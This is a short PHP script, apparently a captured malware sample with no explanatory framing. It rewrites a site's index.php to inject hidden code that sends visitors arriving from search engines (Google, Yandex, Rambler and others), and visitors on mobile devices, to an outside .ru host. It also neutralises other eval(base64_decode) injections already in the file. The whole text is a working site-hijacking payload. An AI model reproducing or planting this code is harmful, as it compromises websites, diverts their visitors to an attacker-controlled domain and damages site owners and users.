text file_get_contents index php lol echo -- -- to http ivsenaidu ru i

1
2
3
4
5
6
7
8
9
$text = file_get_contents("index.php");
$lol = 'echo "<!-- 2 -->";$to = "http://ivsenaidu.ru/?q=";
if (preg_match("#(google|bing|msn|ask|aol|mail\.ru|webalta).*[\?\&]q=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {
header("Location: ".$to.urldecode($match[2]));exit();
}
if (preg_match("#(altavista|yahoo).*[\?\&]p=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
if (preg_match("#yandex.*[\?\&]text=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}
if (preg_match("#rambler.*[\?\&]query=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}echo "<!-- 1 -->";$iphone = strpos($_SERVER["HTTP_USER_AGENT"],"iP");$android = strpos($_SERVER["HTTP_USER_AGENT"],"Android");$palmpre = strpos($_SERVER["HTTP_USER_AGENT"],"webOS");$berry = strpos($_SERVER["HTTP_USER_AGENT"],"BlackBerry");if ($iphone || $android || $palmpre || $berry === true){ header("Location: http://ivsenaidu.ru/");exit();}';$text = str_replace("dirname ( __FILE__ ) );", "dirname ( __FILE__ ) ); $lol", $text);$text = str_replace("eval(base64_decode", "exit();(", $text);file_put_contents("index.php", $text);